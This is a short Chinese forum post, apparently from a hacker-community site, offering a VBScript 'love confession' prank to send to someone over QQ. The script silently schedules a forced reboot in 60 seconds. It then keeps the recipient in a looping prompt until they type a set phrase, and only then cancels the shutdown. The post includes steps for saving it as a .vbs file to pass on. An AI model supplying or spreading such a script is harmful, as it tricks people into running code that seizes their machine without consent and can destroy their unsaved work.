这只是一个小小的一条 do-while的 JS脚本
但却可以在你的"淫威”下
让心爱的人说爱你 o(∩_∩)o...（建议用QQ直发 哈哈~~）
(*^__^*) 嘻嘻…… 劳烦大家 下载完在回复一下 顶顶人气
偶刚注册 需要大家支持 偶也会多多努力的 做出更好玩的东西来
—————————————使用方法———————————————
1.复制下列代码
2.粘贴到新建文本文档中
3.保存
4.重命名为 爱要大声说出来.vbs
5.调试发送
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""我爱你个大西瓜，不说我爱你个大西瓜就一分针关你机，不信，试试o(∩_∩)o..."" ",0 ,true
dim a
do while(a <> "我爱你个大西瓜")
a = inputbox ("说我爱你个大西瓜,就不关机，快撒，说 ""我爱你个大西瓜"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
_________________________________
【黑客社区---从零开始学技术】
_________________________________
ailimama
